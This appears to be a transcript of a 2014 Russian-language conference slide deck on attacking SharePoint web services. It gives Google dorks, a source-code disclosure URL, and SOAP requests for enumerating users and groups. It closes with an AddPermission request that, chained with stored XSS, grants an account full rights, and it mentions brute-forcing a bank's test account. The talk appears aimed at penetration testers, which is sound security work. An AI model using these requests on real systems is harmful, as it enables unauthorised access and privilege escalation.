7.2. Alternative sharepoint hacking

25
AUG 30, 2014

Transcript of 7.2. Alternative sharepoint hacking

Page 1: 7.2. Alternative sharepoint hacking

AUG 30, 2014

Page 2: 7.2. Alternative sharepoint hacking

АЛЬТЕРНАТИВНОЕ ИСПОЛЬЗОВАНИЕ ВЭБ СЕРВИСОВ SHAREPOINT СО СТОРОНЫ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ

By George Lagoda

AUG 30, 2014

Page 3: 7.2. Alternative sharepoint hacking

George Lagoda

PENTESTER

VULNERABILITY RESEARCHER

BUG HUNTER

WHITEHAT

DEFCON MOSCOW FOUNDER

3

Page 4: 7.2. Alternative sharepoint hacking

ЧТО ПРЕПАРИРУЕМ ? 4

Page 5: 7.2. Alternative sharepoint hacking

ОСНОВНЫЕ КОМПОНЕНТЫ SHAREPOINT

5

ВЕБ-ПРИЛОЖЕНИЯ для организации совместной работы

ФУНКЦИОНАЛЬНОСТЬ для создания веб-порталов

ПОИСК ИНФОРМАЦИИ в документах и информационных системах

УПРАВЛЕНИЕ РАБОЧИМИ ПРОЦЕССАМИ и содержимым масштаба предприятия

БИЗНЕС-АНАЛИЗ

Page 6: 7.2. Alternative sharepoint hacking

6

Google  hacking  

ОБЩЕЕ ОПИСАНИЕ УЯЗВИМОСТЕЙ

ЗАКРЫТЫЕ ДЕТАЛИ

НЕБОЛЬШОЕ КОЛИЧЕСТВО ПУБЛИЧНЫХ ЭКСПЛОЙТОВ

Page 7: 7.2. Alternative sharepoint hacking

УЯЗВИМОСТЬ ЗАГРУЗКИ ИСХОДНЫХ

КОДОВ ASPX СТРАНИЦ

7

•  Работает только в SharePoint 2007

•  Необходимо знать адрес конкретной страницы

•  Основной интерес представляют страницы написанные

разработчиками сайта  h-p://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&Source=h-p://www.example.com/Pages/Default.aspx&FldUrl=      

Page 8: 7.2. Alternative sharepoint hacking

ВЕБ-СЕРВИСЫ SHAREPOINT

8

GOOGLE HACK : “INURL: _VTI_BIN/SPSDISCO.ASPX”

Page 9: 7.2. Alternative sharepoint hacking

ТОНКИЙ МОМЕНТ

9

/_vG_bin/  

/_vG_bin/  

Page 10: 7.2. Alternative sharepoint hacking

СТАРЫЙ СПОСОБ ПЕРЕЧИСЛЕНИЯ ПОЛЬЗОВАТЕЛЕЙ

10 HTTPS://HOST/_LAYOUTS/USERDISP.ASPX?ID=1

Page 11: 7.2. Alternative sharepoint hacking

НЕДОСТАТКИ СТАРОГО СПОСОБА

11

•  Необходимо инкрементировать ID

•  Не всегда есть доступ к просмотру

•  Можно попасть в группу

•  Самый большой ID не известен

•  NTLM или Kerberos авторизация при автоматизации

•  Парсинг данных при автоматизации

•  Что делать если их “over 9000”?????

Page 12: 7.2. Alternative sharepoint hacking

ОТ ТЕОРИИ К ПРАКТИКЕ

12

POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1

Host: host

[…]

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-

instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Body>

<GetUserCollectionFromSite xmlns="http://

schemas.microsoft.com/sharepoint/soap/directory/" />

</soap:Body>

</soap:Envelope>

12

Page 13: 7.2. Alternative sharepoint hacking

13 13

Page 14: 7.2. Alternative sharepoint hacking

8000+ пользователей

одним запросом

14 14

Page 15: 7.2. Alternative sharepoint hacking

GREP “TEST”

15

МНОГО ДОМЕНОВ, МНОГО ПОЛЬЗОВАТЕЛЕЙ, МНОГО ВОЗМОЖНОСТЕЙ

15

Page 16: 7.2. Alternative sharepoint hacking

DUMMY BRUTE LEADS TO PWN

16

•  Захвачена тестовая доменная учетная запись

•  Повышена сложность обнаружения злоумышленника

•  Разные тестовые учетные записи могут содержать разные

права доступа к сайту

•  Приведен пример из боевого проекта, получен аккаунт из

домена крупного российского банка

16

Page 17: 7.2. Alternative sharepoint hacking

DEER HUNTING

17

Для поиска интересного аккаунта помимо тестового

перечисляем список групп и узнаем в какой группе

находится наша “жертва”

17

Page 18: 7.2. Alternative sharepoint hacking

ПОЛУЧАЕМ СПИСОК ГРУПП

18

POST /_vti_bin/UserGroup.asmx HTTP/1.1

Host: host

[…]

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-

instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Body>

<GetGroupCollectionFromSite xmlns="http://

schemas.microsoft.com/sharepoint/soap/directory/" />

</soap:Body>

</soap:Envelope>

18

список групп на разных сайтах

в рамках одного домена может

различаться

Page 19: 7.2. Alternative sharepoint hacking

19 19

Page 20: 7.2. Alternative sharepoint hacking

ИНТЕРЕСЕН ЛИ НАМ АККАУНТ?

20

POST /_vti_bin/UserGroup.asmx HTTP/1.1

Host: host

[…]

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-

instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Body>

<GetGroupCollectionFromUser xmlns="http://

schemas.microsoft.com/sharepoint/soap/directory/">

<userLoginName>SHAREPOINT\system</userLoginName>

</GetGroupCollectionFromUser>

</soap:Body>

</soap:Envelope>

20

Page 21: 7.2. Alternative sharepoint hacking

21 21

Page 22: 7.2. Alternative sharepoint hacking

НАХОДИШЬ ХРАНИМЫЕ XSS НА ЛЮБОМ САЙТЕ?

ИНТЕРЕСНО ЛИ КРАСТЬ АДМИНСКИЕ КУКИ?

МОЖЕМ ЛИ МЫ ИХ УКРАСТЬ?

ЗАЧЕМ КРАСТЬ СЕССИЮ АДМИНА, КОГДА

МОЖНО СТАТЬ АДМИНОМ?

22

Page 23: 7.2. Alternative sharepoint hacking

/_vti_bin/Permissions.asmx

23

Сайт + хранимая XSS + XHR с одним из этих методов +

CORS нам не мешает = разрешения админа )

23

Page 24: 7.2. Alternative sharepoint hacking

ИГРАЕМ С РАЗРЕШЕНИЯМИ

24

POST /_vti_bin/Permissions.asmx HTTP/1.1

Host: host

[…]

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://

schemas.xmlsoap.org/soap/envelope/">

<soap:Body>

<AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/

directory/">

<objectName>testsite1</objectName>

<objectType>web</objectType>

<permissionIdentifier>i:0#.w|ra1d3n\test3</permissionIdentifier>

<permissionType>User</permissionType>

<permissionMask>-1</permissionMask>

</AddPermission>

</soap:Body>

</soap:Envelope>

24

Page 25: 7.2. Alternative sharepoint hacking

THAT’S ALL FOLKS ;]

By George Lagoda

@rox41Id3n